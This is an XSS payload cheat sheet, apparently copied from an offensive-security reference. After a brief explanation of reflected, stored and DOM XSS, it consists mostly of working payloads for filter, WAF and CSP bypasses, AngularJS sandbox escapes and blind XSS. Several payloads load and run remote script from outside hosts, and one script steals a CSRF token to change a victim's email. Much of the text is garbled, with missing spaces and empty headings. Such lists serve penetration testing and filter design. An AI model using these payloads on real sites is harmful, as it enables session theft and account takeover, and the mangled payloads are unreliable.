Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
Summary
Cross Site Scripting
Vulnerability Details
Exploit code or POC
Data grabber for XSS
CORS
UI redressing
Javascript keylogger
Other ways
Identify an XSS endpoint
Tools
XSS in HTML/Applications
Common Payloads
XSS using HTML5 tags
XSS using a remote JS
XSS in hidden input
XSS when payload is reflected capitalized
DOM based XSS
XSS in JS Context
XSS in wrappers javascript and data URI
XSS in files
XSS in XML
XSS in SVG
XSS in SVG (short)
XSS in Markdown
XSS in SWF flash application
XSS in SWF flash application
XSS in CSS
XSS in PostMessage
Blind XSS
XSS Hunter
Other Blind XSS tools
Blind XSS endpoint
Tips
Mutated XSS
Polyglot XSS
Filter Bypass and exotic payloads
Bypass case sensitive
Bypass tag blacklist
Bypass word blacklist with code evaluation
Bypass with incomplete html tag
Bypass quotes for string
Bypass quotes in script tag
Bypass quotes in mousedown event
Bypass dot filter
Bypass parenthesis for string
Bypass parenthesis and semi colon
Bypass onxxxx= blacklist
Bypass space filter
Bypass email filter
Bypass document blacklist
Bypass document.cookie blacklist
Bypass using javascript inside a string
Bypass using an alternate way to redirect
Bypass using an alternate way to execute an alert
Bypass ">" using nothing
Bypass "<" and ">" using < and >
Bypass ";" using another character
Bypass using HTML encoding
Bypass using Katakana
Bypass using Cuneiform
Bypass using Lontara
Bypass using ECMAScript6
Bypass using Octal encoding
Bypass using Unicode
Bypass using UTF-7
Bypass using UTF-8
Bypass using UTF-16be
Bypass using UTF-32
Bypass using BOM
Bypass using weird encoding or native interpretation
Bypass using jsfuck
CSP Bypass
Bypass CSP using JSONP from Google (Trick by @apfeifer27)
Bypass CSP by lab.wallarm.com
Bypass CSP by Rhynorater
Bypass CSP by @akita_zen
Bypass CSP by @404death
Common WAF Bypass
Cloudflare XSS Bypasses by @Bohdan Korzhynskyi
25st January 2021
21st April 2020
22nd August 2019
5th June 2019
3rd June 2019
Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)
Cloudflare XSS Bypass - 27th February 2018
Chrome Auditor - 9th August 2018
Incapsula WAF Bypass by @Alra3ees- 8th March 2018
Incapsula WAF Bypass by @c0d3G33k - 11th September 2018
Incapsula WAF Bypass by @daveysec - 11th May 2019
Akamai WAF Bypass by @zseano - 18th June 2018
Akamai WAF Bypass by @s0md3v - 28th October 2018
WordFence WAF Bypass by @brutelogic - 12th September 2018
Fortiweb WAF Bypass by @rezaduty - 9th July 2019
References
Vulnerability Details
Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.
There are 3 main types of XSS attacks:
Reflected XSS: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials.
Stored XSS: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions.
DOM-based XSS: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code.
To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.
Exploit code or POC
Data grabber for XSS
Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.
This payload opens the debugger in the developer console rather than triggering a popup alert box.
<script>debugger;</script>
Modern applications with content hosting can use sandbox domains
to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.
For this reason, it's better to use alert(document.domain) or alert(window.origin) rather than alert(1) as default XSS payload in order to know in which scope the XSS is actually executing.
While alert() is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so console.log() can be used instead to display a message in the console of the developer console (doesn't require any interaction).
Example:
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
// Basic payload<script>alert('XSS')</script><scr<script>ipt>alert('XSS')</scr<script>ipt>"><script>alert('XSS')</script>"><script>alert(String.fromCharCode(88,83,83))</script><script>\u0061lert('22')</script><script>eval('\x61lert(\'33\')')</script><script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="javascript:alert(23)">// Img payload<imgsrc=x onerror=alert('XSS');><img src=x onerror=alert('XSS')//<img src=x onerror=alert(String.fromCharCode(88,83,83));><img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));><img src=x:alert(alt) onerror=eval(src) alt=xss>"><img src=x onerror=alert('XSS');>"><imgsrc=x onerror=alert(String.fromCharCode(88,83,83));>// Svg payload<svgonload=alert(1)><svg/onload=alert('XSS')><svg onload=alert(1)//<svg/onload=alert(String.fromCharCode(88,83,83))><svg id=alert(1) onload=eval(id)>"><svg/onload=alert(String.fromCharCode(88,83,83))>"><svg/onload=alert(/XSS/)<svg><scripthref=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)<svg><script>alert('33')<svg><script>alert('33')// Div payload<divonpointerover="alert(45)">MOVE HERE</div><divonpointerdown="alert(45)">MOVE HERE</div><divonpointerenter="alert(45)">MOVE HERE</div><divonpointerleave="alert(45)">MOVE HERE</div><divonpointermove="alert(45)">MOVE HERE</div><divonpointerout="alert(45)">MOVE HERE</div><divonpointerup="alert(45)">MOVE HERE</div>
XSS using HTML5 tags
<bodyonload=alert(/XSS/.source)><input autofocusonfocus=alert(1)><select autofocusonfocus=alert(1)><textarea autofocusonfocus=alert(1)><keygen autofocusonfocus=alert(1)><video/poster/onerror=alert(1)><video><source onerror="javascript:alert(1)"><videosrc=_ onloadstart="alert(1)"><details/open/ontoggle="alert`1`"><audiosrconloadstart=alert(1)><marquee onstart=alert(1)><meter value=2 min=0 max=10 onmouseover=alert(1)>2 outof 10</meter><body ontouchstart=alert(1)> // Triggers when a finger touch the screen<body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen<body ontouchmove=alert(1)> // When a finger is dragged across the screen.
XSS using a remote JS
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'><scriptsrc=14.rs>// you can also specify an arbitrary payload with 14.rs/#payloade.g: 14.rs/#alert(document.domain)
XSS in hidden input
<inputtype="hidden"accesskey="X"onclick="alert(1)">Use CTRL+SHIFT+X to trigger the onclick event
-(confirm)(document.domain)//; alert(1);//// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
XSS in wrappers javascript and data URI
XSS with javascript:
javascript:prompt(1)%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
javascript:confirm(1)We can encode the "javascript:"in Hex/Octal\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)\152\141\166\141\163\143\162\151\160\164\072alert(1)We can use a 'newline character'java%0ascript:alert(1) -LF (\n)java%09script:alert(1) - Horizontal tab (\t)java%0dscript:alert(1) -CR (\r)Using the escape character\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)Using the newline and a comment //javascript://%0Aalert(1)javascript://anything%0D%0A%0D%0Awindow.alert(1)
[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)
XSS in SWF flash application
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.
Use browsers quirks to recreate some HTML tags when it is inside an element.innerHTML.
Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/.
# by crlfjavascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
# by europajavascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
# by EdOverflowjavascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
# by h1/ragnarjavascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
Bypass document.cookie blacklist
This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.
The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its index number instead the function name.
We can find "alert" with a regular expression like ^a[rel]+t$ :
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()
// then you can use a() with Object.keys
self[Object.keys(self)[a()]]("1") // alert("1")
Oneliner:
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
Bypass using Unicode converted to uppercase
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k
<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass using weird encoding or native interpretation
// CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
# Blind XSS
# https://github.com/LewisArdern/bXSS
# https://github.com/ssl/ezXSS
# https://xsshunter.com/
# Blind XSS detection
# Xsshunter payload in every field
# Review forms
# Contact Us pages
# Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
# Address fields of e-commerce sites
# First or Last Name field while doing Credit Card Payments
# Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
# Log Viewers
# Feedback Page
# Chat Applications
# Any app that requires user moderation
# Host header
# Why cancel subscription? forms
Bypasses
# No parentheses
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
# No parentheses and no semicolons
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
# No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>
# Angle brackets HTML encoded (in an attribute)
“onmouseover=“alert(1)
‘-alert(1)-’
# If quote is escaped
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
# Embedded tab, newline, carriage return to break up XSS
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
# RegEx bypass
<img src="X" onerror=top[8680439..toString(30)](1337)>
# Other
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
# Example:
# Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
AngularJS Sandbox
# Removed in AngularJS 1.6
# Is a way to avoid some strings like window, document or __proto__.
# Without strings:
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
# With CSP:
<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
# v 1.6 and up
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
{{constructor.constructor('import("https://six2dez.xss.ht")')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
XSS in JS
# Inside JS script:
</script><img src=1 onerror=alert(document.domain)>
</script><script>alert(1)</script>
# Inside JS literal script:
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
# Inside JS that escape special chars:
If ';alert(document.domain)// is converted in \';alert(document.domain)//
Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
\'-alert(1)//
# Inside JS with some char blocked:
onerror=alert;throw 1
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
# Inside {}
${alert(document.domain)}
${alert(1)}